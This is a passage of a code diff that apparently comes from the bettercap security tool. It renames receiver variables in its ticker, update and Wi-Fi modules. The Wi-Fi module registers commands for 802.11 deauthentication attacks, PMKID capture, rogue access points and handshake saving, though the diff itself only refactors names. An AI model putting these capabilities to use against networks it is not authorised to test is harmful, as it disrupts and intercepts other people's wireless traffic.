t.AddHandler(session.NewModuleHandler("ticker off", "",
|
mod.AddHandler(session.NewModuleHandler("ticker off", "",
|
||||||
"Stop the ticker.",
|
"Stop the ticker.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return t.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return t
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *Ticker) Name() string {
|
func (mod *Ticker) Name() string {
|
||||||
return "ticker"
|
return "ticker"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *Ticker) Description() string {
|
func (mod *Ticker) Description() string {
|
||||||
return "A module to execute one or more commands every given amount of seconds."
|
return "A module to execute one or more commands every given amount of seconds."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *Ticker) Author() string {
|
func (mod *Ticker) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *Ticker) Configure() error {
|
func (mod *Ticker) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var commands string
|
var commands string
|
||||||
var period int
|
var period int
|
||||||
|
|
||||||
if t.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, commands = t.StringParam("ticker.commands"); err != nil {
|
} else if err, commands = mod.StringParam("ticker.commands"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, period = t.IntParam("ticker.period"); err != nil {
|
} else if err, period = mod.IntParam("ticker.period"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Commands = session.ParseCommands(commands)
|
mod.Commands = session.ParseCommands(commands)
|
||||||
t.Period = time.Duration(period) * time.Second
|
mod.Period = time.Duration(period) * time.Second
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *Ticker) Start() error {
|
func (mod *Ticker) Start() error {
|
||||||
if err := t.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return t.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
t.Info("running with period %.fs", t.Period.Seconds())
|
mod.Info("running with period %.fs", mod.Period.Seconds())
|
||||||
tick := time.NewTicker(t.Period)
|
tick := time.NewTicker(mod.Period)
|
||||||
for range tick.C {
|
for range tick.C {
|
||||||
if !t.Running() {
|
if !mod.Running() {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, cmd := range t.Commands {
|
for _, cmd := range mod.Commands {
|
||||||
if err := t.Session.Run(cmd); err != nil {
|
if err := mod.Session.Run(cmd); err != nil {
|
||||||
t.Error("%s", err)
|
mod.Error("%s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *Ticker) Stop() error {
|
func (mod *Ticker) Stop() error {
|
||||||
return t.SetRunning(false, nil)
|
return mod.SetRunning(false, nil)
|
||||||
}
|
}
|
||||||
|
|
|
@ -20,41 +20,42 @@ type UpdateModule struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewUpdateModule(s *session.Session) *UpdateModule {
|
func NewUpdateModule(s *session.Session) *UpdateModule {
|
||||||
u := &UpdateModule{
|
mod := &UpdateModule{
|
||||||
SessionModule: session.NewSessionModule("update", s),
|
SessionModule: session.NewSessionModule("update", s),
|
||||||
client: github.NewClient(nil),
|
client: github.NewClient(nil),
|
||||||
}
|
}
|
||||||
|
|
||||||
u.AddHandler(session.NewModuleHandler("update.check on", "",
|
mod.AddHandler(session.NewModuleHandler("update.check on", "",
|
||||||
"Check latest available stable version and compare it with the one being used.",
|
"Check latest available stable version and compare it with the one being used.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return u.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return u
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) Name() string {
|
|
||||||
|
func (mod *UpdateModule) Name() string {
|
||||||
return "update"
|
return "update"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) Description() string {
|
func (mod *UpdateModule) Description() string {
|
||||||
return "A module to check for bettercap's updates."
|
return "A module to check for bettercap's updates."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) Author() string {
|
func (mod *UpdateModule) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) Configure() error {
|
func (mod *UpdateModule) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) Stop() error {
|
func (mod *UpdateModule) Stop() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) versionToNum(ver string) float64 {
|
func (mod *UpdateModule) versionToNum(ver string) float64 {
|
||||||
if ver[0] == 'v' {
|
if ver[0] == 'v' {
|
||||||
ver = ver[1:]
|
ver = ver[1:]
|
||||||
}
|
}
|
||||||
|
@ -77,21 +78,21 @@ func (u *UpdateModule) versionToNum(ver string) float64 {
|
||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
func (u *UpdateModule) Start() error {
|
func (mod *UpdateModule) Start() error {
|
||||||
return u.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
defer u.SetRunning(false, nil)
|
defer mod.SetRunning(false, nil)
|
||||||
|
|
||||||
u.Info("checking latest stable release ...")
|
mod.Info("checking latest stable release ...")
|
||||||
|
|
||||||
if releases, _, err := u.client.Repositories.ListReleases(context.Background(), "bettercap", "bettercap", nil); err == nil {
|
if releases, _, err := mod.client.Repositories.ListReleases(context.Background(), "bettercap", "bettercap", nil); err == nil {
|
||||||
latest := releases[0]
|
latest := releases[0]
|
||||||
if u.versionToNum(core.Version) < u.versionToNum(*latest.TagName) {
|
if mod.versionToNum(core.Version) < mod.versionToNum(*latest.TagName) {
|
||||||
u.Session.Events.Add("update.available", latest)
|
mod.Session.Events.Add("update.available", latest)
|
||||||
} else {
|
} else {
|
||||||
u.Info("you are running %s which is the latest stable version.", tui.Bold(core.Version))
|
mod.Info("you are running %s which is the latest stable version.", tui.Bold(core.Version))
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
u.Error("error while fetching latest release info from GitHub: %s", err)
|
mod.Error("error while fetching latest release info from GitHub: %s", err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
package modules
|
package utils
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/base64"
|
"encoding/base64"
|
|
@ -53,7 +53,7 @@ type WiFiModule struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewWiFiModule(s *session.Session) *WiFiModule {
|
func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
w := &WiFiModule{
|
mod := &WiFiModule{
|
||||||
SessionModule: session.NewSessionModule("wifi", s),
|
SessionModule: session.NewSessionModule("wifi", s),
|
||||||
minRSSI: -200,
|
minRSSI: -200,
|
||||||
channel: 0,
|
channel: 0,
|
||||||
|
@ -74,47 +74,47 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
chanLock: &sync.Mutex{},
|
chanLock: &sync.Mutex{},
|
||||||
}
|
}
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.recon on", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.recon on", "",
|
||||||
"Start 802.11 wireless base stations discovery and channel hopping.",
|
"Start 802.11 wireless base stations discovery and channel hopping.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return w.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.recon off", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.recon off", "",
|
||||||
"Stop 802.11 wireless base stations discovery and channel hopping.",
|
"Stop 802.11 wireless base stations discovery and channel hopping.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return w.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.recon MAC", "wifi.recon ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))",
|
mod.AddHandler(session.NewModuleHandler("wifi.recon MAC", "wifi.recon ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))",
|
||||||
"Set 802.11 base station address to filter for.",
|
"Set 802.11 base station address to filter for.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
bssid, err := net.ParseMAC(args[0])
|
bssid, err := net.ParseMAC(args[0])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
} else if ap, found := w.Session.WiFi.Get(bssid.String()); found {
|
} else if ap, found := mod.Session.WiFi.Get(bssid.String()); found {
|
||||||
w.ap = ap
|
mod.ap = ap
|
||||||
w.stickChan = ap.Channel()
|
mod.stickChan = ap.Channel()
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return fmt.Errorf("Could not find station with BSSID %s", args[0])
|
return fmt.Errorf("Could not find station with BSSID %s", args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
|
||||||
"Remove the 802.11 base station filter.",
|
"Remove the 802.11 base station filter.",
|
||||||
func(args []string) (err error) {
|
func(args []string) (err error) {
|
||||||
w.ap = nil
|
mod.ap = nil
|
||||||
w.stickChan = 0
|
mod.stickChan = 0
|
||||||
w.frequencies, err = network.GetSupportedFrequencies(w.Session.Interface.Name())
|
mod.frequencies, err = network.GetSupportedFrequencies(mod.Session.Interface.Name())
|
||||||
w.hopChanges <- true
|
mod.hopChanges <- true
|
||||||
return err
|
return err
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddParam(session.NewIntParameter("wifi.rssi.min",
|
mod.AddParam(session.NewIntParameter("wifi.rssi.min",
|
||||||
"-200",
|
"-200",
|
||||||
"Minimum WiFi signal strength in dBm."))
|
"Minimum WiFi signal strength in dBm."))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.deauth BSSID", `wifi\.deauth ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
mod.AddHandler(session.NewModuleHandler("wifi.deauth BSSID", `wifi\.deauth ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
||||||
"Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.",
|
"Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if args[0] == "all" || args[0] == "*" {
|
if args[0] == "all" || args[0] == "*" {
|
||||||
|
@ -124,23 +124,23 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return w.startDeauth(bssid)
|
return mod.startDeauth(bssid)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddParam(session.NewStringParameter("wifi.deauth.skip",
|
mod.AddParam(session.NewStringParameter("wifi.deauth.skip",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Comma separated list of BSSID to skip while sending deauth packets."))
|
"Comma separated list of BSSID to skip while sending deauth packets."))
|
||||||
|
|
||||||
w.AddParam(session.NewBoolParameter("wifi.deauth.silent",
|
mod.AddParam(session.NewBoolParameter("wifi.deauth.silent",
|
||||||
"false",
|
"false",
|
||||||
"If true, messages from wifi.deauth will be suppressed."))
|
"If true, messages from wifi.deauth will be suppressed."))
|
||||||
|
|
||||||
w.AddParam(session.NewBoolParameter("wifi.deauth.open",
|
mod.AddParam(session.NewBoolParameter("wifi.deauth.open",
|
||||||
"true",
|
"true",
|
||||||
"Send wifi deauth packets to open networks."))
|
"Send wifi deauth packets to open networks."))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
mod.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
||||||
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
|
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if args[0] == "all" || args[0] == "*" {
|
if args[0] == "all" || args[0] == "*" {
|
||||||
|
@ -150,81 +150,81 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return w.startAssoc(bssid)
|
return mod.startAssoc(bssid)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddParam(session.NewStringParameter("wifi.assoc.skip",
|
mod.AddParam(session.NewStringParameter("wifi.assoc.skip",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Comma separated list of BSSID to skip while sending association requests."))
|
"Comma separated list of BSSID to skip while sending association requests."))
|
||||||
|
|
||||||
w.AddParam(session.NewBoolParameter("wifi.assoc.silent",
|
mod.AddParam(session.NewBoolParameter("wifi.assoc.silent",
|
||||||
"false",
|
"false",
|
||||||
"If true, messages from wifi.assoc will be suppressed."))
|
"If true, messages from wifi.assoc will be suppressed."))
|
||||||
|
|
||||||
w.AddParam(session.NewBoolParameter("wifi.assoc.open",
|
mod.AddParam(session.NewBoolParameter("wifi.assoc.open",
|
||||||
"false",
|
"false",
|
||||||
"Send association requests to open networks."))
|
"Send association requests to open networks."))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.ap", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.ap", "",
|
||||||
"Inject fake management beacons in order to create a rogue access point.",
|
"Inject fake management beacons in order to create a rogue access point.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if err := w.parseApConfig(); err != nil {
|
if err := mod.parseApConfig(); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
return w.startAp()
|
return mod.startAp()
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddParam(session.NewStringParameter("wifi.handshakes.file",
|
mod.AddParam(session.NewStringParameter("wifi.handshakes.file",
|
||||||
"~/bettercap-wifi-handshakes.pcap",
|
"~/bettercap-wifi-handshakes.pcap",
|
||||||
"",
|
"",
|
||||||
"File path of the pcap file to save handshakes to."))
|
"File path of the pcap file to save handshakes to."))
|
||||||
|
|
||||||
w.AddParam(session.NewStringParameter("wifi.ap.ssid",
|
mod.AddParam(session.NewStringParameter("wifi.ap.ssid",
|
||||||
"FreeWiFi",
|
"FreeWiFi",
|
||||||
"",
|
"",
|
||||||
"SSID of the fake access point."))
|
"SSID of the fake access point."))
|
||||||
|
|
||||||
w.AddParam(session.NewStringParameter("wifi.ap.bssid",
|
mod.AddParam(session.NewStringParameter("wifi.ap.bssid",
|
||||||
session.ParamRandomMAC,
|
session.ParamRandomMAC,
|
||||||
"[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}",
|
"[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}",
|
||||||
"BSSID of the fake access point."))
|
"BSSID of the fake access point."))
|
||||||
|
|
||||||
w.AddParam(session.NewIntParameter("wifi.ap.channel",
|
mod.AddParam(session.NewIntParameter("wifi.ap.channel",
|
||||||
"1",
|
"1",
|
||||||
"Channel of the fake access point."))
|
"Channel of the fake access point."))
|
||||||
|
|
||||||
w.AddParam(session.NewBoolParameter("wifi.ap.encryption",
|
mod.AddParam(session.NewBoolParameter("wifi.ap.encryption",
|
||||||
"true",
|
"true",
|
||||||
"If true, the fake access point will use WPA2, otherwise it'll result as an open AP."))
|
"If true, the fake access point will use WPA2, otherwise it'll result as an open AP."))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.show.wps BSSID",
|
mod.AddHandler(session.NewModuleHandler("wifi.show.wps BSSID",
|
||||||
`wifi\.show\.wps ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
`wifi\.show\.wps ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
||||||
"Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).",
|
"Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if args[0] == "all" || args[0] == "*" {
|
if args[0] == "all" || args[0] == "*" {
|
||||||
args[0] = "ff:ff:ff:ff:ff:ff"
|
args[0] = "ff:ff:ff:ff:ff:ff"
|
||||||
}
|
}
|
||||||
return w.ShowWPS(args[0])
|
return mod.ShowWPS(args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.show", "",
|
mod.AddHandler(session.NewModuleHandler("wifi.show", "",
|
||||||
"Show current wireless stations list (default sorting by essid).",
|
"Show current wireless stations list (default sorting by essid).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return w.Show()
|
return mod.Show()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.selector = utils.ViewSelectorFor(&w.SessionModule, "wifi.show",
|
mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "wifi.show",
|
||||||
[]string{"rssi", "bssid", "essid", "channel", "encryption", "clients", "seen", "sent", "rcvd"}, "rssi asc")
|
[]string{"rssi", "bssid", "essid", "channel", "encryption", "clients", "seen", "sent", "rcvd"}, "rssi asc")
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wifi.recon.channel", `wifi\.recon\.channel[\s]+([0-9]+(?:[, ]+[0-9]+)*|clear)`,
|
mod.AddHandler(session.NewModuleHandler("wifi.recon.channel", `wifi\.recon\.channel[\s]+([0-9]+(?:[, ]+[0-9]+)*|clear)`,
|
||||||
"WiFi channels (comma separated) or 'clear' for channel hopping.",
|
"WiFi channels (comma separated) or 'clear' for channel hopping.",
|
||||||
func(args []string) (err error) {
|
func(args []string) (err error) {
|
||||||
freqs := []int{}
|
freqs := []int{}
|
||||||
|
|
||||||
if args[0] != "clear" {
|
if args[0] != "clear" {
|
||||||
w.Debug("setting hopping channels to %s", args[0])
|
mod.Debug("setting hopping channels to %s", args[0])
|
||||||
for _, s := range str.Comma(args[0]) {
|
for _, s := range str.Comma(args[0]) {
|
||||||
if ch, err := strconv.Atoi(s); err != nil {
|
if ch, err := strconv.Atoi(s); err != nil {
|
||||||
return err
|
return err
|
||||||
|
@ -239,48 +239,48 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(freqs) == 0 {
|
if len(freqs) == 0 {
|
||||||
w.Debug("resetting hopping channels")
|
mod.Debug("resetting hopping channels")
|
||||||
if freqs, err = network.GetSupportedFrequencies(w.Session.Interface.Name()); err != nil {
|
if freqs, err = network.GetSupportedFrequencies(mod.Session.Interface.Name()); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
w.Debug("new frequencies: %v", freqs)
|
mod.Debug("new frequencies: %v", freqs)
|
||||||
w.frequencies = freqs
|
mod.frequencies = freqs
|
||||||
|
|
||||||
// if wifi.recon is not running, this would block forever
|
// if wifi.recon is not running, this would block forever
|
||||||
if w.Running() {
|
if mod.Running() {
|
||||||
w.hopChanges <- true
|
mod.hopChanges <- true
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddParam(session.NewStringParameter("wifi.source.file",
|
mod.AddParam(session.NewStringParameter("wifi.source.file",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If set, the wifi module will read from this pcap file instead of the hardware interface."))
|
"If set, the wifi module will read from this pcap file instead of the hardware interface."))
|
||||||
|
|
||||||
w.AddParam(session.NewIntParameter("wifi.hop.period",
|
mod.AddParam(session.NewIntParameter("wifi.hop.period",
|
||||||
"250",
|
"250",
|
||||||
"If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available)."))
|
"If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available)."))
|
||||||
|
|
||||||
w.AddParam(session.NewBoolParameter("wifi.skip-broken",
|
mod.AddParam(session.NewBoolParameter("wifi.skip-broken",
|
||||||
"true",
|
"true",
|
||||||
"If true, dot11 packets with an invalid checksum will be skipped."))
|
"If true, dot11 packets with an invalid checksum will be skipped."))
|
||||||
|
|
||||||
return w
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w WiFiModule) Name() string {
|
func (mod WiFiModule) Name() string {
|
||||||
return "wifi"
|
return "wifi"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w WiFiModule) Description() string {
|
func (mod WiFiModule) Description() string {
|
||||||
return "A module to monitor and perform wireless attacks on 802.11."
|
return "A module to monitor and perform wireless attacks on 802.11."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w WiFiModule) Author() string {
|
func (mod WiFiModule) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com> && Gianluca Braga <matrix86@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com> && Gianluca Braga <matrix86@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -290,31 +290,31 @@ const (
|
||||||
ErrIfaceNotUp = "Interface Not Up"
|
ErrIfaceNotUp = "Interface Not Up"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (w *WiFiModule) Configure() error {
|
func (mod *WiFiModule) Configure() error {
|
||||||
var hopPeriod int
|
var hopPeriod int
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
if err, w.source = w.StringParam("wifi.source.file"); err != nil {
|
if err, mod.source = mod.StringParam("wifi.source.file"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, w.shakesFile = w.StringParam("wifi.handshakes.file"); err != nil {
|
if err, mod.shakesFile = mod.StringParam("wifi.handshakes.file"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if w.shakesFile != "" {
|
} else if mod.shakesFile != "" {
|
||||||
if w.shakesFile, err = fs.Expand(w.shakesFile); err != nil {
|
if mod.shakesFile, err = fs.Expand(mod.shakesFile); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, w.minRSSI = w.IntParam("wifi.rssi.min"); err != nil {
|
if err, mod.minRSSI = mod.IntParam("wifi.rssi.min"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
ifName := w.Session.Interface.Name()
|
ifName := mod.Session.Interface.Name()
|
||||||
|
|
||||||
if w.source != "" {
|
if mod.source != "" {
|
||||||
if w.handle, err = pcap.OpenOffline(w.source); err != nil {
|
if mod.handle, err = pcap.OpenOffline(mod.source); err != nil {
|
||||||
return fmt.Errorf("error while opening file %s: %s", w.source, err)
|
return fmt.Errorf("error while opening file %s: %s", mod.source, err)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
for retry := 0; ; retry++ {
|
for retry := 0; ; retry++ {
|
||||||
|
@ -336,9 +336,9 @@ func (w *WiFiModule) Configure() error {
|
||||||
readTimeout := 500 * time.Millisecond
|
readTimeout := 500 * time.Millisecond
|
||||||
if err = ihandle.SetTimeout(readTimeout); err != nil {
|
if err = ihandle.SetTimeout(readTimeout); err != nil {
|
||||||
return fmt.Errorf("error while setting timeout: %s", err)
|
return fmt.Errorf("error while setting timeout: %s", err)
|
||||||
} else if w.handle, err = ihandle.Activate(); err != nil {
|
} else if mod.handle, err = ihandle.Activate(); err != nil {
|
||||||
if retry == 0 && err.Error() == ErrIfaceNotUp {
|
if retry == 0 && err.Error() == ErrIfaceNotUp {
|
||||||
w.Warning("interface %s is down, bringing it up ...", ifName)
|
mod.Warning("interface %s is down, bringing it up ...", ifName)
|
||||||
if err := network.ActivateInterface(ifName); err != nil {
|
if err := network.ActivateInterface(ifName); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
@ -351,39 +351,39 @@ func (w *WiFiModule) Configure() error {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, w.skipBroken = w.BoolParam("wifi.skip-broken"); err != nil {
|
if err, mod.skipBroken = mod.BoolParam("wifi.skip-broken"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, hopPeriod = w.IntParam("wifi.hop.period"); err != nil {
|
} else if err, hopPeriod = mod.IntParam("wifi.hop.period"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
w.hopPeriod = time.Duration(hopPeriod) * time.Millisecond
|
mod.hopPeriod = time.Duration(hopPeriod) * time.Millisecond
|
||||||
|
|
||||||
if w.source == "" {
|
if mod.source == "" {
|
||||||
// No channels setted, retrieve frequencies supported by the card
|
// No channels setted, retrieve frequencies supported by the card
|
||||||
if len(w.frequencies) == 0 {
|
if len(mod.frequencies) == 0 {
|
||||||
if w.frequencies, err = network.GetSupportedFrequencies(ifName); err != nil {
|
if mod.frequencies, err = network.GetSupportedFrequencies(ifName); err != nil {
|
||||||
return fmt.Errorf("error while getting supported frequencies of %s: %s", ifName, err)
|
return fmt.Errorf("error while getting supported frequencies of %s: %s", ifName, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
w.Debug("wifi supported frequencies: %v", w.frequencies)
|
mod.Debug("wifi supported frequencies: %v", mod.frequencies)
|
||||||
|
|
||||||
// we need to start somewhere, this is just to check if
|
// we need to start somewhere, this is just to check if
|
||||||
// this OS supports switching channel programmatically.
|
// this OS supports switching channel programmatically.
|
||||||
if err = network.SetInterfaceChannel(ifName, 1); err != nil {
|
if err = network.SetInterfaceChannel(ifName, 1); err != nil {
|
||||||
return fmt.Errorf("error while initializing %s to channel 1: %s", ifName, err)
|
return fmt.Errorf("error while initializing %s to channel 1: %s", ifName, err)
|
||||||
}
|
}
|
||||||
w.Info("started (min rssi: %d dBm)", w.minRSSI)
|
mod.Info("started (min rssi: %d dBm)", mod.minRSSI)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) updateInfo(dot11 *layers.Dot11, packet gopacket.Packet) {
|
func (mod *WiFiModule) updateInfo(dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
if ok, enc, cipher, auth := packets.Dot11ParseEncryption(packet, dot11); ok {
|
if ok, enc, cipher, auth := packets.Dot11ParseEncryption(packet, dot11); ok {
|
||||||
bssid := dot11.Address3.String()
|
bssid := dot11.Address3.String()
|
||||||
if station, found := w.Session.WiFi.Get(bssid); found {
|
if station, found := mod.Session.WiFi.Get(bssid); found {
|
||||||
station.Encryption = enc
|
station.Encryption = enc
|
||||||
station.Cipher = cipher
|
station.Cipher = cipher
|
||||||
station.Authentication = auth
|
station.Authentication = auth
|
||||||
|
@ -391,7 +391,7 @@ func (w *WiFiModule) updateInfo(dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
}
|
}
|
||||||
|
|
||||||
if ok, bssid, info := packets.Dot11ParseWPS(packet, dot11); ok {
|
if ok, bssid, info := packets.Dot11ParseWPS(packet, dot11); ok {
|
||||||
if station, found := w.Session.WiFi.Get(bssid.String()); found {
|
if station, found := mod.Session.WiFi.Get(bssid.String()); found {
|
||||||
for name, value := range info {
|
for name, value := range info {
|
||||||
station.WPS[name] = value
|
station.WPS[name] = value
|
||||||
}
|
}
|
||||||
|
@ -399,84 +399,84 @@ func (w *WiFiModule) updateInfo(dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) updateStats(dot11 *layers.Dot11, packet gopacket.Packet) {
|
func (mod *WiFiModule) updateStats(dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
// collect stats from data frames
|
// collect stats from data frames
|
||||||
if dot11.Type.MainType() == layers.Dot11TypeData {
|
if dot11.Type.MainType() == layers.Dot11TypeData {
|
||||||
bytes := uint64(len(packet.Data()))
|
bytes := uint64(len(packet.Data()))
|
||||||
|
|
||||||
dst := dot11.Address1.String()
|
dst := dot11.Address1.String()
|
||||||
if station, found := w.Session.WiFi.Get(dst); found {
|
